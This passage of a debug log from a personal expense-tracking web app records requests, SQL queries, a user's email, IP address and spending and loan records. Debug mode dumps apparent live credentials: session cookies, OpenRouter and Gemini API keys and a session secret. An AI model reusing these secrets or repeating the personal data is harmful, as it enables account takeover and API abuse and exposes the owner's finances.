    'HTTP_SEC_CH-UA': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/login',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A6e1JMIlH0U2gkPfg0V5jiA%3D%3D.H%2FAdjc50SANbl%2F0Q5OWTAd6GsCc6XSVydaZnjKktbleAKBOXsNy1OCBb0KAG6xcXL0nYFNm6wOASx6d6mHcUvG9Uu0KSF4g8M4%2FpKQE1n%2BoHRZW62w6%2FI4vuMH4JMOXV%2B7m0XoahN%2FnBE%2FHLWkK3xS18JnMe0DgpGwh4uWznmH0%3D.q%2FQ9jljozcSwLj8Q9StbA4%2BAQwV21hFwfgneiH3eN7g; your_r_git.sid=s%3A1u7U3bkRXnViKlmnNywqYGu3Jhb9KWTh.tLjJu5AQArlohiTe2SLaEY1MBeWV6mtSIFh306nSpEI',
    'HTTP_X_FORWARDED-FOR': '49.43.184.128',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-06-02T13:13:24.972Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-06-02T13:13:24.972Z server-connect:router Serving serverConnect /api/masters/get-items
2026-06-02T13:13:24.973Z server-connect:app Executing action step identify
2026-06-02T13:13:24.973Z server-connect:app options: { provider: 'security' }
2026-06-02T13:13:24.973Z server-connect:output identity: 1
2026-06-02T13:13:24.974Z server-connect:app Executing action step restrict
2026-06-02T13:13:24.974Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-02T13:13:24.974Z server-connect:app Executing action step identify
2026-06-02T13:13:24.974Z server-connect:app options: { provider: 'security' }
2026-06-02T13:13:24.975Z server-connect:output identity: 1
2026-06-02T13:13:24.975Z server-connect:app Executing action step restrict
2026-06-02T13:13:24.975Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-02T13:13:24.975Z server-connect:output restrict: undefined
2026-06-02T13:13:24.976Z server-connect:app Executing action step single
2026-06-02T13:13:24.977Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-06-02T13:13:24.978Z server-connect:output restrict: undefined
2026-06-02T13:13:24.978Z server-connect:app Executing action step select
2026-06-02T13:13:24.978Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-06-02T13:13:24.980Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-06-02T13:13:24.986Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'School Dress', item_id: 662, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  ... 573 more items
]
2026-06-02T13:13:28.107Z server-connect:router Serving templateView /expense/list
2026-06-02T13:13:28.108Z server-connect:app Executing action step identify
2026-06-02T13:13:28.108Z server-connect:app options: { provider: 'security' }
2026-06-02T13:13:28.108Z server-connect:output identity: 1
2026-06-02T13:13:28.108Z server-connect:app Executing action step restrict
2026-06-02T13:13:28.108Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-02T13:13:28.109Z server-connect:output restrict: undefined
2026-06-02T13:13:28.109Z server-connect:router Render template expense/list
2026-06-02T13:13:28.109Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/expense/list',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A6e1JMIlH0U2gkPfg0V5jiA%3D%3D.H%2FAdjc50SANbl%2F0Q5OWTAd6GsCc6XSVydaZnjKktbleAKBOXsNy1OCBb0KAG6xcXL0nYFNm6wOASx6d6mHcUvG9Uu0KSF4g8M4%2FpKQE1n%2BoHRZW62w6%2FI4vuMH4JMOXV%2B7m0XoahN%2FnBE%2FHLWkK3xS18JnMe0DgpGwh4uWznmH0%3D.q%2FQ9jljozcSwLj8Q9StbA4%2BAQwV21hFwfgneiH3eN7g; your_r_git.sid=s%3A1u7U3bkRXnViKlmnNywqYGu3Jhb9KWTh.tLjJu5AQArlohiTe2SLaEY1MBeWV6mtSIFh306nSpEI',
    'x-forwarded-for': '49.43.184.128',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-03T13:13:22.431Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/expense/list',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.184.128',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/expense/list',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/expense/list',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A6e1JMIlH0U2gkPfg0V5jiA%3D%3D.H%2FAdjc50SANbl%2F0Q5OWTAd6GsCc6XSVydaZnjKktbleAKBOXsNy1OCBb0KAG6xcXL0nYFNm6wOASx6d6mHcUvG9Uu0KSF4g8M4%2FpKQE1n%2BoHRZW62w6%2FI4vuMH4JMOXV%2B7m0XoahN%2FnBE%2FHLWkK3xS18JnMe0DgpGwh4uWznmH0%3D.q%2FQ9jljozcSwLj8Q9StbA4%2BAQwV21hFwfgneiH3eN7g; your_r_git.sid=s%3A1u7U3bkRXnViKlmnNywqYGu3Jhb9KWTh.tLjJu5AQArlohiTe2SLaEY1MBeWV6mtSIFh306nSpEI',
    'HTTP_X_FORWARDED-FOR': '49.43.184.128',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-06-02T13:13:28.382Z server-connect:router Serving serverConnect /api/expense/list
2026-06-02T13:13:28.383Z server-connect:router Serving serverConnect /api/masters/get-tags
2026-06-02T13:13:28.383Z server-connect:app Executing action step identify
2026-06-02T13:13:28.383Z server-connect:app options: { provider: 'security' }
2026-06-02T13:13:28.383Z server-connect:output identity: 1
2026-06-02T13:13:28.384Z server-connect:app Executing action step restrict
2026-06-02T13:13:28.384Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-02T13:13:28.384Z server-connect:app Executing action step identify
2026-06-02T13:13:28.384Z server-connect:app options: { provider: 'security' }
2026-06-02T13:13:28.384Z server-connect:output identity: 1
2026-06-02T13:13:28.384Z server-connect:app Executing action step restrict
2026-06-02T13:13:28.384Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-02T13:13:28.385Z server-connect:output restrict: undefined
2026-06-02T13:13:28.385Z server-connect:app Executing action step paged
2026-06-02T13:13:28.385Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'expense' },
    primary: 'id',
    joins: [ [Object], [Object] ],
    query: 'select `expense`.`invoice_number`, `expense`.`quantity`, `expense`.`purchase_date`, `expense`.`receipt_url`, `expense`.`remark`, `expense`.`amount`, `sc`.`subcategory_name` as `item_name`, `c1`.`name` as `unit` from `expense` inner join `sub_categories` as `sc` on `sc`.`id` = `expense`.`category_id` inner join `collections` as `c1` on `c1`.`id` = `expense`.`unit` where (`expense`.`amount` = ? or `sc`.`subcategory_name` like ? or `c1`.`name` like ?) order by `expense`.`purchase_date` DESC',
    orders: [ [Object] ],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-06-02T13:13:28.387Z server-connect:output restrict: undefined
2026-06-02T13:13:28.387Z server-connect:app Executing action step select
2026-06-02T13:13:28.387Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'm_tags' },
    primary: 'id',
    joins: [],
    query: 'select `id`, `tag` from `m_tags`'
  }
}
2026-06-02T13:13:28.388Z server-connect:output list: [
  { id: 1, tag: 'Gadgets' },
  { id: 2, tag: 'Waste of money' },
  { id: 3, tag: 'Relax' },
  { id: 4, tag: 'Luxury' },
  { id: 5, tag: 'Needs' },
  { id: 6, tag: 'Swiggy' },
  { id: 7, tag: 'Zomato' },
  { id: 8, tag: 'Bills' },
  { id: 9, tag: 'EMIs' },
  { id: 10, tag: 'Blinkit' },
  { id: 11, tag: 'Instamart' }
]
2026-06-02T13:13:28.396Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 2121,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 2100 },
    current: 1,
    total: 85
  },
  data: [
    {
      invoice_number: 12561,
      quantity: '1.00',
      purchase_date: '2026-06-29T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '150.00',
      item_name: 'One Card Payment',
      unit: 'EMI'
    },
    {
      invoice_number: 12566,
      quantity: '1.00',
      purchase_date: '2026-06-04T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '9876.00',
      item_name: 'kotak Credit Card Payment',
      unit: 'EMI'
    },
    {
      invoice_number: 12567,
      quantity: '1.00',
      purchase_date: '2026-06-03T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '2461.00',
      item_name: 'SBI Credit Card Payment',
      unit: 'EMI'
    },
    {
      invoice_number: 12568,
      quantity: '1.00',
      purchase_date: '2026-06-03T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '561.00',
      item_name: 'RBL Credit Card Payment',
      unit: 'EMI'
    },
    {
      invoice_number: 12569,
      quantity: '1.00',
      purchase_date: '2026-06-03T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '18000.00',
      item_name: 'Slashash Tech House Loan EMI',
      unit: 'EMI'
    },
    {
      invoice_number: 12559,
      quantity: '1.00',
      purchase_date: '2026-06-01T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '22031.00',
      item_name: 'Kotak PL Emi',
      unit: 'EMI'
    },
    {
      invoice_number: 12560,
      quantity: '1.00',
      purchase_date: '2026-06-01T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '5336.00',
      item_name: 'IND Money',
      unit: 'EMI'
    },
    {
      invoice_number: 12562,
      quantity: '1.00',
      purchase_date: '2026-06-01T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '150.00',
      item_name: 'Vegetables',
      unit: 'Other'
    },
    {
      invoice_number: 12563,
      quantity: '2.00',
      purchase_date: '2026-06-01T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '40.00',
      item_name: 'Water Bottle',
      unit: 'Bottle'
    },
    {
      invoice_number: 12570,
      quantity: '1.00',
      purchase_date: '2026-06-01T18:30:00.000Z',
      receipt_url: null,
      remark: 'Swati',
      amount: '350.00',
      item_name: 'Mobile Recharge',
      unit: 'Other'
    },
    {
      invoice_number: 12564,
      quantity: '8.00',
      purchase_date: '2026-05-31T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '20.00',
      item_name: 'Bandage',
      unit: 'Piece'
    },
    {
      invoice_number: 12565,
      quantity: '500.00',
      purchase_date: '2026-05-31T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '50.00',
      item_name: 'Dahi',
      unit: 'GM'
    },
    {
      invoice_number: 12565,
      quantity: '1.00',
      purchase_date: '2026-05-31T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '20.00',
      item_name: 'Butter Milk',
      unit: 'Litres'
    },
    {
      invoice_number: 12555,
      quantity: '1.00',
      purchase_date: '2026-05-18T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '90.00',
      item_name: 'Vuno',
      unit: 'Other'
    },
    {
      invoice_number: 12556,
      quantity: '500.00',
      purchase_date: '2026-05-18T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '50.00',
      item_name: 'Dahi',
      unit: 'GM'
    },
    {
      invoice_number: 12556,
      quantity: '2.00',
      purchase_date: '2026-05-18T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '40.00',
      item_name: 'Butter Milk',
      unit: 'Litres'
    },
    {
      invoice_number: 12557,
      quantity: '1.00',
      purchase_date: '2026-05-18T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '410.00',
      item_name: 'Vuno',
      unit: 'Other'
    },
    {
      invoice_number: 12549,
      quantity: '1.00',
      purchase_date: '2026-05-17T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '220.00',
      item_name: 'Petrol',
      unit: 'Other'
    },
    {
      invoice_number: 12550,
      quantity: '1.00',
      purchase_date: '2026-05-17T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '60.00',
      item_name: 'Vuno',
      unit: 'Other'
    },
    {
      invoice_number: 12551,
      quantity: '1.00',
      purchase_date: '2026-05-17T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '450.00',
      item_name: 'Vuno',
      unit: 'Other'
    },
    {
      invoice_number: 12552,
      quantity: '1.00',
      purchase_date: '2026-05-17T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '150.00',
      item_name: 'Doctor Fees',
      unit: 'Other'
    },
    {
      invoice_number: 12552,
      quantity: '1.00',
      purchase_date: '2026-05-17T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '210.00',
      item_name: 'Medicines',
      unit: 'Other'
    },
    {
      invoice_number: 12553,
      quantity: '1.00',
      purchase_date: '2026-05-17T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '70.00',
      item_name: 'Ice Cream',
      unit: 'Other'
    },
    {
      invoice_number: 12554,
      quantity: '1.00',
      purchase_date: '2026-05-17T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '110.00',
      item_name: 'Vuno',
      unit: 'Other'
    },
    {
      invoice_number: 12558,
      quantity: '2.00',
      purchase_date: '2026-05-17T18:30:00.000Z',
      receipt_url: null,
      remark: 'Sanjay and Swati',
      amount: '700.00',
      item_name: 'Mobile Recharge',
      unit: 'Other'
    }
  ]
}
2026-06-02T13:34:55.699Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-02T13:34:55.858Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-02T13:34:55.950Z server-connect:setup:upload Upload middleware configured.
2026-06-02T13:34:55.951Z server-connect:secure CSRF Protection initialized
2026-06-02T13:34:55.953Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-02T13:34:55.954Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-02T13:34:55.976Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-02T13:34:55.979Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-02T13:34:55.980Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-02T13:34:55.980Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-02T13:34:55.981Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-02T13:34:55.982Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-02T13:34:55.982Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-02T13:34:55.982Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-02T13:34:55.983Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-02T13:34:55.983Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-02T13:34:55.983Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-02T13:34:55.983Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-02T13:34:55.984Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-02T13:34:55.984Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-02T13:34:55.984Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-02T13:34:55.985Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-02T13:34:55.985Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-02T13:34:55.985Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
